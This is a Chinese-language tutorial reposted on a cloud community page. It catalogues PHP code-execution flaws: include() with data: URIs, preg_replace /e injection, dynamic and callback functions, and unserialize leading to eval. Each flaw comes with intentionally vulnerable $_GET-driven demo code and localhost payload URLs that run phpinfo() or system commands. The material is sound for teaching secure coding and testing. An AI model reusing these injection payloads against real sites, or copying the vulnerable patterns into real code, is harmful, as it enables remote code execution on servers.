PHP代碼執行漏洞總結

來源:互聯網
上載者:User
PHP安全愛好者的盛宴the
Month of PHP Security 。拜讀php-security上的很多牛文,發出來共用下啦,都是偶像哇。 

From:http://hi.baidu.com/menzhi007
一 代碼執行函數

PHP中可以執行代碼的函數。如eval()、assert()、“、system()、exec()、shell_exec()、 passthru()、
escapeshellcmd()、pcntl_exec() 等

demo code 1.1:

<?php

echo `dir`;

?>
二 檔案包含代碼注射

檔案包含函數在特定條件下的代碼注射,如include()、include_once()、 require()、require_once()。

當allow_url_include=On ,PHP Version>=5.2.0 時,導致代碼注射。

demo code 2.1:

<?php

include($_GET['a']);

?>

訪問http://127.0.0.1/include.php?a=data:text/plain,%3C?php%20phpinfo%28 %29;?%3E 即

執行phpinfo()。
三 正則符合代碼注射

眾所周知的preg_replace()函數導致的代碼注射。當pattern中存在/e模式修飾符,即允許執行代碼。這裡我們分三種情況討論下

3.1 preg_replace() pattern 參數注射

pattern即第一個參數的代碼注射。

當magic_quotes_gpc=Off時,導致代碼執行。

demo code 3.1:

<?php

echo $regexp = $_GET['reg'];

$var = ‘<php>phpinfo()</php>’;

preg_replace(“/<php>(.*?)$regexp”, ‘\\1′, $var);

?>

訪問http://127.0.0.1/preg_replace1.php?reg=%3C\/php%3E/e 即

執行phpinfo()。

3.2 preg_replace() replacement參數注射

replacement即第二個參數的代碼注射,導致代碼執行。

demo code 3.2:

<?

preg_replace(“/menzhi007/e”,$_GET['h'],”jutst test”);

?>

當我們提交 http://127.0.0.1/preg_replace2.php?h=phpinfo() 即

執行phpinfo()。

3.3 preg_replace()第三個參數注射

我們通過構造subject參數執行代碼。提交:http://127.0.0.1/preg_replace3.php?h= [php]phpinfo()[/php]

或者 http://127.0.0.1/preg_replace3.php?h=[php]${phpinfo%28%29}[/php] 導致代碼執行

demo code 3.3:

<?

preg_replace(“/\s*\[php\](.+?)\[\/php\]\s*/ies”, “\\1″, $_GET['h']);

?>
四 動態代碼執行

4.1 動態變數代碼執行

demo code 4.1:

<?php

$dyn_func = $_GET['dyn_func'];

$argument = $_GET['argument'];

$dyn_func($argument);

?>

我們提交 http://127.0.0.1/dyn_func.php?dyn_func=system&amp;argument=ipconfig 執行ipconfig命令

4.2 動態函數代碼執行

demo code 4.2:

<?php

$foobar = $_GET['foobar'];

$dyn_func = create_function(‘$foobar’, “echo $foobar;”);

$dyn_func(”);

?>

我們提交 http://127.0.0.1/create_function.php?foobar=system%28dir%29 執行dir命令
五 其他

5.1 ob_start()函數的代碼執行

demo code 5.1:

<?php

$foobar = ’system’;

ob_start($foobar);

echo ‘dir’;

ob_end_flush();

?>

5.2 array_map()函數的代碼執行

demo code 5.2:

<?php

$evil_callback = $_GET['callback'];

$some_array = array(0, 1, 2, 3);

$new_array = array_map($evil_callback, $some_array);

?>

我們提交 http://127.0.0.1/array_map.php?callback=phpinfo 即執行phpinfo()。

5.3 unserialize()與eval()

unserialize()是PHP中使用率非常高的函數。不正當使用unserialize()容易導致安全隱患。

(黑哥那個挑戰2 http://hi.baidu.com/hi_heige/blo ... 5b18f499250a9b.html)

demo code 5.3:

<?php

class Example {

var $var = ”;

function __destruct() {

eval($this->var);

}

}

unserialize($_GET['saved_code']);

?>

我們提交 http://127.0.0.1/unserialize.php?saved_code=O:7:%22Example%22:1:{s:3:%22var%22;s:10:%22phpinfo%28%29;%22;}
即執行phpinfo()。

5.4 容易導致安全問題的函數

同類型函數還有很多

array_map()

usort(), uasort(), uksort()

array_filter()

array_reduce()

array_diff_uassoc(), array_diff_ukey()

array_udiff(), array_udiff_assoc(), array_udiff_uassoc()

array_intersect_assoc(), array_intersect_uassoc()

array_uintersect(), array_uintersect_assoc(), array_uintersect_uassoc()

array_walk(), array_walk_recursive()

xml_set_character_data_handler()

xml_set_default_handler()

xml_set_element_handler()

xml_set_end_namespace_decl_handler()

xml_set_external_entity_ref_handler()

xml_set_notation_decl_handler()

xml_set_processing_instruction_handler()

xml_set_start_namespace_decl_handler()

xml_set_unparsed_entity_decl_handler()

stream_filter_register()

set_error_handler()

register_shutdown_function()

register_tick_function()

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.